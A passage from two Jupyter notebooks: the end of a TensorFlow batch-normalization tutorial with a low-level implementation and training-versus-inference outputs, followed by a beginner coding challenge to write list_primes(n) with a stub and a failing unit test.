standard deviation is actually the square root of the mean squared deviation.)\n", "\n", "$$\n", "\\hat{x_i} \\leftarrow \\frac{x_i - \\mu_B}{\\sqrt{\\sigma_{B}^{2} + \\epsilon}}\n", "$$\n", "\n", "Above, we said \"(almost) standard deviation\". That's because the real standard deviation for the batch is calculated by $\\sqrt{\\sigma_{B}^{2}}$, but the above formula adds the term epsilon, $\\epsilon$, before taking the square root. The epsilon can be any small, positive constant - in our code we use the value `0.001`. It is there partially to make sure we don't try to divide by zero, but it also acts to increase the variance slightly for each batch. \n", "\n", "Why increase the variance? Statistically, this makes sense because even though we are normalizing one batch at a time, we are also trying to estimate the population distribution – the total training set, which itself an estimate of the larger population of inputs your network wants to handle. The variance of a population is higher than the variance for any sample taken from that population, so increasing the variance a little bit for each batch helps take that into account. \n", "\n", "At this point, we have a normalized value, represented as $\\hat{x_i}$. But rather than use it directly, we multiply it by a gamma value, $\\gamma$, and then add a beta value, $\\beta$. Both $\\gamma$ and $\\beta$ are learnable parameters of the network and serve to scale and shift the normalized value, respectively. Because they are learnable just like weights, they give your network some extra knobs to tweak during training to help it learn the function it is trying to approximate. \n", "\n", "$$\n", "y_i \\leftarrow \\gamma \\hat{x_i} + \\beta\n", "$$\n", "\n", "We now have the final batch-normalized output of our layer, which we would then pass to a non-linear activation function like sigmoid, tanh, ReLU, Leaky ReLU, etc. In the original batch normalization paper (linked in the beginning of this notebook), they mention that there might be cases when you'd want to perform the batch normalization _after_ the non-linearity instead of before, but it is difficult to find any uses like that in practice.\n", "\n", "In `NeuralNet`'s implementation of `fully_connected`, all of this math is hidden inside the following line, where `linear_output` serves as the $x_i$ from the equations:\n", "```python\n", "batch_normalized_output = tf.layers.batch_normalization(linear_output, training=self.is_training)\n", "```\n", "The next section shows you how to implement the math directly. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Batch normalization without the `tf.layers` package\n", "\n", "Our implementation of batch normalization in `NeuralNet` uses the high-level abstraction [tf.layers.batch_normalization](https://www.tensorflow.org/api_docs/python/tf/layers/batch_normalization), found in TensorFlow's [`tf.layers`](https://www.tensorflow.org/api_docs/python/tf/layers) package.\n", "\n", "However, if you would like to implement batch normalization at a lower level, the following code shows you how.\n", "It uses [tf.nn.batch_normalization](https://www.tensorflow.org/api_docs/python/tf/nn/batch_normalization) from TensorFlow's [neural net (nn)](https://www.tensorflow.org/api_docs/python/tf/nn) package.\n", "\n", "**1)** You can replace the `fully_connected` function in the `NeuralNet` class with the below code and everything in `NeuralNet` will still work like it did before." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def fully_connected(self, layer_in, initial_weights, activation_fn=None):\n", " \"\"\"\n", " Creates a standard, fully connected layer. Its number of inputs and outputs will be\n", " defined by the shape of `initial_weights`, and its starting weight values will be\n", " taken directly from that same parameter. If `self.use_batch_norm` is True, this\n", " layer will include batch normalization, otherwise it will not. \n", " \n", " :param layer_in: Tensor\n", " The Tensor that feeds into this layer. It's either the input to the network or the output\n", " of a previous layer.\n", " :param initial_weights: NumPy array or Tensor\n", " Initial values for this layer's weights. The shape defines the number of nodes in the layer.\n", " e.g. Passing in 3 matrix of shape (784, 256) would create a layer with 784 inputs and 256 \n", " outputs. \n", " :param activation_fn: Callable or None (default None)\n", " The non-linearity used for the output of the layer. If None, this layer will not include \n", " batch normalization, regardless of the value of `self.use_batch_norm`. \n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " \"\"\"\n", " if self.use_batch_norm and activation_fn:\n", " # Batch normalization uses weights as usual, but does NOT add a bias term. This is because \n", " # its calculations include gamma and beta variables that make the bias term unnecessary.\n", " weights = tf.Variable(initial_weights)\n", " linear_output = tf.matmul(layer_in, weights)\n", "\n", " num_out_nodes = initial_weights.shape[-1]\n", "\n", " # Batch normalization adds additional trainable variables: \n", " # gamma (for scaling) and beta (for shifting).\n", " gamma = tf.Variable(tf.ones([num_out_nodes]))\n", " beta = tf.Variable(tf.zeros([num_out_nodes]))\n", "\n", " # These variables will store the mean and variance for this layer over the entire training set,\n", " # which we assume represents the general population distribution.\n", " # By setting `trainable=False`, we tell TensorFlow not to modify these variables during\n", " # back propagation. Instead, we will assign values to these variables ourselves. \n", " pop_mean = tf.Variable(tf.zeros([num_out_nodes]), trainable=False)\n", " pop_variance = tf.Variable(tf.ones([num_out_nodes]), trainable=False)\n", "\n", " # Batch normalization requires a small constant epsilon, used to ensure we don't divide by zero.\n", " # This is the default value TensorFlow uses.\n", " epsilon = 1e-3\n", "\n", " def batch_norm_training():\n", " # Calculate the mean and variance for the data coming out of this layer's linear-combination step.\n", " # The [0] defines an array of axes to calculate over.\n", " batch_mean, batch_variance = tf.nn.moments(linear_output, [0])\n", "\n", " # Calculate a moving average of the training data's mean and variance while training.\n", " # These will be used during inference.\n", " # Decay should be some number less than 1. tf.layers.batch_normalization uses the parameter\n", " # \"momentum\" to accomplish this and defaults it to 0.99\n", " decay = 0.99\n", " train_mean = tf.assign(pop_mean, pop_mean * decay + batch_mean * (1 - decay))\n", " train_variance = tf.assign(pop_variance, pop_variance * decay + batch_variance * (1 - decay))\n", "\n", " # The 'tf.control_dependencies' context tells TensorFlow it must calculate 'train_mean' \n", " # and 'train_variance' before it calculates the 'tf.nn.batch_normalization' layer.\n", " # This is necessary because the those two operations are not actually in the graph\n", " # connecting the linear_output and batch_normalization layers, \n", " # so TensorFlow would otherwise just skip them.\n", " with tf.control_dependencies([train_mean, train_variance]):\n", " return tf.nn.batch_normalization(linear_output, batch_mean, batch_variance, beta, gamma, epsilon)\n", " \n", " def batch_norm_inference():\n", " # During inference, use the our estimated population mean and variance to normalize the layer\n", " return tf.nn.batch_normalization(linear_output, pop_mean, pop_variance, beta, gamma, epsilon)\n", "\n", " # Use `tf.cond` as a sort of if-check. When self.is_training is True, TensorFlow will execute \n", " # the operation returned from `batch_norm_training`; otherwise it will execute the graph\n", " # operation returned from `batch_norm_inference`.\n", " batch_normalized_output = tf.cond(self.is_training, batch_norm_training, batch_norm_inference)\n", " \n", " # Pass the batch-normalized layer output through the activation function.\n", " # The literature states there may be cases where you want to perform the batch normalization *after*\n", " # the activation function, but it is difficult to find any uses of that in practice.\n", " return activation_fn(batch_normalized_output)\n", " else:\n", " # When not using batch normalization, create a standard layer that multiplies\n", " # the inputs and weights, adds a bias, and optionally passes the result \n", " # through an activation function. \n", " weights = tf.Variable(initial_weights)\n", " biases = tf.Variable(tf.zeros([initial_weights.shape[-1]]))\n", " linear_output = tf.add(tf.matmul(layer_in, weights), biases)\n", " return linear_output if not activation_fn else activation_fn(linear_output)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This version of `fully_connected` is much longer than the original, but once again has extensive comments to help you understand it. Here are some important points:\n", "\n", "1. It explicitly creates variables to store gamma, beta, and the population mean and variance. These were all handled for us in the previous version of the function.\n", "2. It initializes gamma to one and beta to zero, so they start out having no effect in this calculation: $y_i \\leftarrow \\gamma \\hat{x_i} + \\beta$. However, during training the network learns the best values for these variables using back propagation, just like networks normally do with weights.\n", "3. Unlike gamma and beta, the variables for population mean and variance are marked as untrainable. That tells TensorFlow not to modify them during back propagation. Instead, the lines that call `tf.assign` are used to update these variables directly.\n", "4. TensorFlow won't automatically run the `tf.assign` operations during training because it only evaluates operations that are required based on the connections it finds in the graph. To get around that, we add this line: `with tf.control_dependencies([train_mean, train_variance]):` before we run the normalization operation. This tells TensorFlow it needs to run those operations before running anything inside the `with` block. \n", "5. The actual normalization math is still mostly hidden from us, this time using [`tf.nn.batch_normalization`](https://www.tensorflow.org/api_docs/python/tf/nn/batch_normalization).\n", "5. `tf.nn.batch_normalization` does not have a `training` parameter like `tf.layers.batch_normalization` did. However, we still need to handle training and inference differently, so we run different code in each case using the [`tf.cond`](https://www.tensorflow.org/api_docs/python/tf/cond) operation.\n", "6. We use the [`tf.nn.moments`](https://www.tensorflow.org/api_docs/python/tf/nn/moments) function to calculate the batch mean and variance." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**2)** The current version of the `train` function in `NeuralNet` will work fine with this new version of `fully_connected`. However, it uses these lines to ensure population statistics are updated when using batch normalization: \n", "```python\n", "if self.use_batch_norm:\n", " with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", "else:\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", "```\n", "Our new version of `fully_connected` handles updating the population statistics directly. That means you can also simplify your code by replacing the above `if`/`else` condition with just this line:\n", "```python\n", "train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**3)** And just in case you want to implement every detail from scratch, you can replace this line in `batch_norm_training`:\n", "\n", "```python\n", "return tf.nn.batch_normalization(linear_output, batch_mean, batch_variance, beta, gamma, epsilon)\n", "```\n", "with these lines:\n", "```python\n", "normalized_linear_output = (linear_output - batch_mean) / tf.sqrt(batch_variance + epsilon)\n", "return gamma * normalized_linear_output + beta\n", "```\n", "And replace this line in `batch_norm_inference`:\n", "```python\n", "return tf.nn.batch_normalization(linear_output, pop_mean, pop_variance, beta, gamma, epsilon)\n", "```\n", "with these lines:\n", "```python\n", "normalized_linear_output = (linear_output - pop_mean) / tf.sqrt(pop_variance + epsilon)\n", "return gamma * normalized_linear_output + beta\n", "```\n", "\n", "As you can see in each of the above substitutions, the two lines of replacement code simply implement the following two equations directly. The first line calculates the following equation, with `linear_output` representing $x_i$ and `normalized_linear_output` representing $\\hat{x_i}$: \n", "\n", "$$\n", "\\hat{x_i} \\leftarrow \\frac{x_i - \\mu_B}{\\sqrt{\\sigma_{B}^{2} + \\epsilon}}\n", "$$\n", "\n", "And the second line is a direct translation of the following equation:\n", "\n", "$$\n", "y_i \\leftarrow \\gamma \\hat{x_i} + \\beta\n", "$$\n", "\n", "We still use the `tf.nn.moments` operation to implement the other two equations from earlier – the ones that calculate the batch mean and variance used in the normalization step. If you really wanted to do everything from scratch, you could replace that line, too, but we'll leave that to you. \n", "\n", "## Why the difference between training and inference?\n", "\n", "In the original function that uses `tf.layers.batch_normalization`, we tell the layer whether or not the network is training by passing a value for its `training` parameter, like so:\n", "```python\n", "batch_normalized_output = tf.layers.batch_normalization(linear_output, training=self.is_training)\n", "```\n", "And that forces us to provide a value for `self.is_training` in our `feed_dict`, like we do in this example from `NeuralNet`'s `train` function:\n", "```python\n", "session.run(train_step, feed_dict={self.input_layer: batch_xs, \n", " labels: batch_ys, \n", " self.is_training: True})\n", "```\n", "If you looked at the [low level implementation](#low_level_code), you probably noticed that, just like with `tf.layers.batch_normalization`, we need to do slightly different things during training and inference. But why is that?\n", "\n", "First, let's look at what happens when we don't. The following function is similar to `train_and_test` from earlier, but this time we are only testing one network and instead of plotting its accuracy, we perform 200 predictions on test inputs, 1 input at at time. We can use the `test_training_accuracy` parameter to test the network in training or inference modes (the equivalent of passing `True` or `False` to the `feed_dict` for `is_training`)." ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def batch_norm_test(test_training_accuracy):\n", " \"\"\"\n", " :param test_training_accuracy: bool\n", " If True, perform inference with batch normalization using batch mean and variance;\n", " if False, perform inference with batch normalization using estimated population mean and variance.\n", " \"\"\"\n", "\n", " weights = [np.random.normal(size=(784,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,10), scale=0.05).astype(np.float32)\n", " ]\n", "\n", " tf.reset_default_graph()\n", "\n", " # Train the model\n", " bn = NeuralNet(weights, tf.nn.relu, True)\n", " \n", " # First train the network\n", " with tf.Session() as sess:\n", " tf.global_variables_initializer().run()\n", "\n", " bn.train(sess, 0.01, 2000, 2000)\n", "\n", " bn.test(sess, test_training_accuracy=test_training_accuracy, include_individual_predictions=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the following cell, we pass `True` for `test_training_accuracy`, which performs the same batch normalization that we normally perform **during training**." ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:03<00:00, 514.57it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9527996778488159\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9503000974655151\n", "200 Predictions: [8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8]\n", "Accuracy on 200 samples: 0.05\n" ] } ], "source": [ "batch_norm_test(True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, the network guessed the same value every time! But why? Because during training, a network with batch normalization adjusts the values at each layer based on the mean and variance **of that batch**. The \"batches\" we are using for these predictions have a single input each time, so their values _are_ the means, and their variances will always be 0. That means the network will normalize the values at any layer to zero. (Review the equations from before to see why a value that is equal to the mean would always normalize to zero.) So we end up with the same result for every input we give the network, because its the value the network produces when it applies its learned weights to zeros at every layer. \n", "\n", "**Note:** If you re-run that cell, you might get a different value from what we showed. That's because the specific weights the network learns will be different every time. But whatever value it is, it should be the same for all 200 predictions.\n", "\n", "To overcome this problem, the network does not just normalize the batch at each layer. It also maintains an estimate of the mean and variance for the entire population. So when we perform inference, instead of letting it \"normalize\" all the values using their own means and variance, it uses the estimates of the population mean and variance that it calculated while training. \n", "\n", "So in the following example, we pass `False` for `test_training_accuracy`, which tells the network that we it want to perform inference with the population statistics it calculates during training." ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:03<00:00, 511.58it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9577997326850891\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.953700065612793\n", "200 Predictions: [7, 2, 1, 0, 4, 1, 4, 9, 6, 9, 0, 8, 9, 0, 1, 5, 9, 7, 3, 4, 9, 6, 6, 5, 4, 0, 7, 4, 0, 1, 3, 1, 3, 6, 7, 2, 7, 1, 2, 1, 1, 7, 4, 2, 3, 5, 1, 2, 4, 4, 6, 3, 5, 5, 6, 0, 4, 1, 9, 5, 7, 8, 9, 3, 7, 4, 6, 4, 3, 0, 7, 0, 2, 9, 1, 7, 3, 2, 9, 7, 7, 6, 2, 7, 8, 4, 7, 3, 6, 1, 3, 6, 4, 3, 1, 4, 1, 7, 6, 9, 6, 0, 5, 4, 9, 9, 2, 1, 9, 4, 8, 7, 3, 9, 7, 4, 4, 4, 9, 2, 5, 4, 7, 6, 7, 9, 0, 5, 8, 5, 6, 6, 5, 7, 8, 1, 0, 1, 6, 4, 6, 7, 3, 1, 7, 1, 8, 2, 0, 4, 9, 8, 5, 5, 1, 5, 6, 0, 3, 4, 4, 6, 5, 4, 6, 5, 4, 5, 1, 4, 4, 7, 2, 3, 2, 7, 1, 8, 1, 8, 1, 8, 5, 0, 8, 9, 2, 5, 0, 1, 1, 1, 0, 9, 0, 3, 1, 6, 4, 2]\n", "Accuracy on 200 samples: 0.97\n" ] } ], "source": [ "batch_norm_test(False)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, now that we're using the estimated population mean and variance, we get a 97% accuracy. That means it guessed correctly on 194 of the 200 samples – not too bad for something that trained in under 4 seconds. :)\n", "\n", "# Considerations for other network types\n", "\n", "This notebook demonstrates batch normalization in a standard neural network with fully connected layers. You can also use batch normalization in other types of networks, but there are some special considerations.\n", "\n", "### ConvNets\n", "\n", "Convolution layers consist of multiple feature maps. (Remember, the depth of a convolutional layer refers to its number of feature maps.) And the weights for each feature map are shared across all the inputs that feed into the layer. Because of these differences, batch normalizaing convolutional layers requires batch/population mean and variance per feature map rather than per node in the layer.\n", "\n", "When using `tf.layers.batch_normalization`, be sure to pay attention to the order of your convolutionlal dimensions.\n", "Specifically, you may want to set a different value for the `axis` parameter if your layers have their channels first instead of last. \n", "\n", "In our low-level implementations, we used the following line to calculate the batch mean and variance:\n", "```python\n", "batch_mean, batch_variance = tf.nn.moments(linear_output, [0])\n", "```\n", "If we were dealing with a convolutional layer, we would calculate the mean and variance with a line like this instead:\n", "```python\n", "batch_mean, batch_variance = tf.nn.moments(conv_layer, [0,1,2], keep_dims=False)\n", "```\n", "The second parameter, `[0,1,2]`, tells TensorFlow to calculate the batch mean and variance over each feature map. (The three axes are the batch, height, and width.) And setting `keep_dims` to `False` tells `tf.nn.moments` not to return values with the same size as the inputs. Specifically, it ensures we get one mean/variance pair per feature map.\n", "\n", "### RNNs\n", "\n", "Batch normalization can work with recurrent neural networks, too, as shown in the 2016 paper [Recurrent Batch Normalization](https://arxiv.org/abs/1603.09025). It's a bit more work to implement, but basically involves calculating the means and variances per time step instead of per layer. You can find an example where someone extended `tf.nn.rnn_cell.RNNCell` to include batch normalization in [this GitHub repo](https://gist.github.com/spitis/27ab7d2a30bbaf5ef431b4a02194ac60)." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.0" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

DJMedhaug/code_guild

wk0/notebooks/challenges/primes/.ipynb_checkpoints/primes_challenge-checkpoint.ipynb

4

10068

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "<small><i>This notebook was prepared by [Thunder Shiviah](https://github.com/ThunderShiviah). Source and license info is on [GitHub](https://github.com/ThunderShiviah/code_guild).</i></small>" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Challenge Notebook" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Problem: Implement list_primes(n), which returns a list of primes up to n (inclusive).\n", "\n", "* [Constraints](#Constraints)\n", "* [Test Cases](#Test-Cases)\n", "* [Algorithm](#Algorithm)\n", "* [Code](#Code)\n", "* [Unit Test](#Unit-Test)\n", "* [Solution Notebook](#Solution-Notebook)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Constraints\n", "\n", "* Does list_primes do anything else?\n", " * No" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Test Cases\n", "\n", "* list_primes(1) -> [] # 1 is not prime.\n", "* list_primes(2) -> [2] \n", "* list_primes(12) -> [2, 3, 5, 7 , 11]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Algorithm\n", "\n", "Primes are numbers which are only divisible by 1 and themselves.\n", "\n", "5 is a prime since it can only be divided by itself and 1.\n", "9 is not a prime since it can be divided by 3 (3*3 = 9).\n", "1 is not a prime for reasons that only mathematicians care about.\n", "\n", "To check if a number is prime, we can implement a basic algorithm, namely: check if a given number can be divided by any numbers smaller than the given number (note: you really only need to test numbers up to the square root of a given number, but it doesn't really matter for this assignment).\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Code" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def list_primes(n):\n", " # TODO: Implement me\n", " pass" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Unit Test" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following unit test is expected to fail until you solve the challenge.**" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "ename": "AssertionError", "evalue": "None != []", "output_type": "error", "traceback": [ "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", "\u001b[1;31mAssertionError\u001b[0m Traceback (most recent call last)", "\u001b[1;32m<ipython-input-2-daa21d192bd5>\u001b[0m in \u001b[0;36m<module>\u001b[1;34m()\u001b[0m\n\u001b[0;32m 19\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 20\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0m__name__\u001b[0m \u001b[1;33m==\u001b[0m \u001b[1;34m'__main__'\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m---> 21\u001b[1;33m \u001b[0mmain\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m", "\u001b[1;32m<ipython-input-2-daa21d192bd5>\u001b[0m in \u001b[0;36mmain\u001b[1;34m()\u001b[0m\n\u001b[0;32m 15\u001b[0m \u001b[1;32mdef\u001b[0m \u001b[0mmain\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 16\u001b[0m \u001b[0mtest\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mTest_list_primes\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m---> 17\u001b[1;33m \u001b[0mtest\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mtest_list_primes\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 18\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 19\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", "\u001b[1;32m<ipython-input-2-daa21d192bd5>\u001b[0m in \u001b[0;36mtest_list_primes\u001b[1;34m(self)\u001b[0m\n\u001b[0;32m 6\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 7\u001b[0m \u001b[1;32mdef\u001b[0m \u001b[0mtest_list_primes\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mself\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m----> 8\u001b[1;33m \u001b[0massert_equal\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mlist_primes\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m[\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 9\u001b[0m \u001b[0massert_equal\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mlist_primes\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;36m2\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m[\u001b[0m\u001b[1;36m2\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 10\u001b[0m \u001b[0massert_equal\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mlist_primes\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;36m7\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m[\u001b[0m\u001b[1;36m2\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;36m3\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;36m5\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;36m7\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", "\u001b[1;32m/home/thunder/anaconda3/lib/python3.4/unittest/case.py\u001b[0m in \u001b[0;36massertEqual\u001b[1;34m(self, first, second, msg)\u001b[0m\n\u001b[0;32m 795\u001b[0m \"\"\"\n\u001b[0;32m 796\u001b[0m \u001b[0massertion_func\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_getAssertEqualityFunc\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mfirst\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msecond\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 797\u001b[1;33m \u001b[0massertion_func\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mfirst\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msecond\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmsg\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0mmsg\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 798\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 799\u001b[0m \u001b[1;32mdef\u001b[0m \u001b[0massertNotEqual\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mself\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mfirst\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msecond\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmsg\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;32mNone\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", "\u001b[1;32m/home/thunder/anaconda3/lib/python3.4/unittest/case.py\u001b[0m in \u001b[0;36m_baseAssertEqual\u001b[1;34m(self, first, second, msg)\u001b[0m\n\u001b[0;32m 788\u001b[0m \u001b[0mstandardMsg\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;34m'%s != %s'\u001b[0m \u001b[1;33m%\u001b[0m \u001b[0m_common_shorten_repr\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mfirst\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msecond\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 789\u001b[0m \u001b[0mmsg\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_formatMessage\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mmsg\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mstandardMsg\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 790\u001b[1;33m \u001b[1;32mraise\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mfailureException\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mmsg\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 791\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 792\u001b[0m \u001b[1;32mdef\u001b[0m \u001b[0massertEqual\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mself\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mfirst\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0msecond\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mmsg\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;32mNone\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", "\u001b[1;31mAssertionError\u001b[0m: None != []" ] } ], "source": [ "# %load test_list_primes.py\n", "from nose.tools import assert_equal\n", "\n", "\n", "class Test_list_primes(object):\n", "\n", " def test_list_primes(self):\n", " assert_equal(list_primes(1), [])\n", " assert_equal(list_primes(2), [2])\n", " assert_equal(list_primes(7), [2, 3, 5, 7])\n", " assert_equal(list_primes(9), list_primes(7))\n", " print('Success: test_list_primes')\n", "\n", "\n", "def main():\n", " test = Test_list_primes()\n", " test.test_list_primes()\n", "\n", "\n", "if __name__ == '__main__':\n", " main()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Solution Notebook\n", "\n", "Review the [Solution Notebook]() for a discussion on algorithms and code solutions." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": 